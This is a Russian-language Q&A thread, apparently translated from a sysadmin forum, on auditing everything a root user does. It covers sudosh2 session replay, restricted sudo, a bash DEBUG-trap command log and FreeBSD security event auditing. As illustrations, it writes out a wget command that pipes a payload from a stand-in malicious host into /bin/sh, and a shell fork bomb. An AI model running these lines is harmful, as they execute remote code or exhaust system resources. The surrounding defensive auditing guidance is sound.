Логировать каждую команду, выполненную из-под root

Я хочу предоставить доступ к моему серверу root внешнему системному администратору, но хочу быть уверенным, что смогу дважды проверить, что он делает с моим сервером, например, копирует данные, которые я не хочу, чтобы он копировал, и так далее. Я также хотел бы отслеживать любые файлы, к которым обращаются, даже если они только чтения и не редактируются.

Как я могу это сделать?

Доверяйте, но проверяйте!

Обратите внимание на sudosh2. sudosh2 предоставляется через FreeBSD_ports. Пакеты доступны для RedHat и Ubuntu. Вот описание с их сайта:

sudosh – это фильтр аудита оболочки, который можно использовать в качестве оболочки для входа. Sudosh записывает все нажатия клавиш и вывод и может воспроизводить сессию, подобно видеомагнитофону.

Sudosh позволит вам воспроизвести сессию пользователя, что позволит вам увидеть весь ввод и вывод так, как это видел пользователь. Вы видите всё: нажатия клавиш, опечатки, возвраты, что он редактировал в vi, вывод wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh и так далее.

Можно отправлять логи sudosh на syslog, чтобы они хранились на центральном сервере syslog, вдали от системы.

Обратите внимание, что sudosh2 является заменой sudosh, который был заброшен его автором.

Вы работаете в академическом учреждении, где пользователи настаивают на наличии привилегий суперпользователя? Или вы работаете в корпорации и хотите позволить пользователям иметь привилегии суперпользователя на своих виртуальных машинах? Это может быть решением для вас.

Не давайте ему доступ к root. Вместо этого дайте ему аккаунт без привилегий и попросите выполнять всю свою работу через sudo, который будет записывать все его команды.

Имейте в виду, что если у этого человека злые намерения и вы дадите ему полные привилегии sudo, он найдет способ реализовать эти злые намерения, не записывая команды. В этом случае предоставьте ему доступ только к конкретным командам, которые ему нужны для выполнения его работы.

Я незнаком с sudosh2, но я добавил следующее в свой .bashrc, чтобы записывать все команды, которые я набираю в оболочке bash, в файл ~/.command_log:

# записать каждую набранную команду и время
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Вышеуказанное устанавливает ловушку на DEBUG, которая выполняется сразу перед выполнением обычной команды. Встроенная команда caller используется для тестирования, вводится ли команда в интерактивной оболочке или выполняется через что-то вроде .bashrc. Значение ${BASH_COMMAND} содержит команду, выполняемую в данный момент.

Вы хотите поручить операционной системе инициировать события журнала. С версией FreeBSD 6.2, выпущенной в 2007 году, стала доступна функция аудита событий безопасности. Сегодня она является частью сборки GENERIC.

1. Определите классы событий аудита, которые вы хотите отслеживать. Классы аудита определены в /etc/security/audit_class. Чтобы понять, какие специфические события аудита они содержат, прочитайте /etc/security/audit_event. Вам необходимо

   • fr чтение файла,
   • fw запись файла,
   • fa доступ к атрибутам файла,
   • fm изменение атрибутов файла,
   • fc создание файла,
   • fd удаление файла, и
   • ex для системного вызова exec, или pc управление процессом для любого системного вызова, выполняющего манипуляции в пространстве имен процесса.

   Примечание: класс ex не может захватывать встроенные команды оболочки, такие как kill или ulimit (может быть, x(){ x|x& };x, я это сейчас не тестировал).

2. Создайте и отредактируйте /etc/security/audit_user, чтобы включить строку

   root:fr,fw,fa,fm,fc,fd,ex:no
   

   Для пользователя root (это разрешается, так что это включает в себя toor), логируйте все (успешные или неуспешные) события доступа к файлам и (успешные или неуспешные) события выполнения. Этот набор событий не подлежит дальнейшим ограничениям.

   Примечание: записи audit_user относятся к реальному идентификатору пользователя. Он установлен, если root использует системный вызов setuid.

3. Включите демон аудита.

   service auditd enable
   

4. Перезагрузите машину. Это гарантирует, что root выйдет из системы и должен снова “войти”; набор записанных событий оценивается один раз во время входа. Также запускается демон auditd.

5. Проверьте работу.

   service auditd status
   praudit /dev/auditpipe & { sleep 1 ; touch /tmp/foo ; } ; kill %1
   

   Журналы аудита собираются в /var/audit.

Примечания:

• В audit_user вы можете перечислить root и/или пользователей группы wheel и/или перечисленные в /root/.k5login//root/.k5users (в зависимости от того, какой метод вы используете, чтобы сделать su/ksu возможным). Затем вы можете впоследствии фильтровать следы аудита с помощью auditreduce -e root, чтобы узнать, какие из записанных действий были выполнены с эффективным идентификатором пользователя root.
• Следы аудита могут быстро стать огромными, поэтому вы можете захотеть обрабатывать их как можно скорее. Например, вы можете настроить bsmtrace из порта security/bsmtrace3, чтобы использовать следы аудита, но это требует отдельного вопроса.
• Хранение следов аудита на машине, которую вы проверяете, является проблемой, поскольку их можно манипулировать через root. Демон auditdistd может безопасно распределять файлы следов аудита по сети. Это, однако, не предотвращает вмешательство root в службы аудита.
• Команда setaudit из порта security/setaudit раскрывает системный вызов setaudit, позволяющий вам следить только за одной группой процессов.
• Если вы хотите смотреть через плечо, как это позволяет делать sudosh, модуль ядра для слежения snp позволяет вам наблюдать за действиями. Однако для совместной работы я бы предпочел sysutils/screen или sysutils/tmux.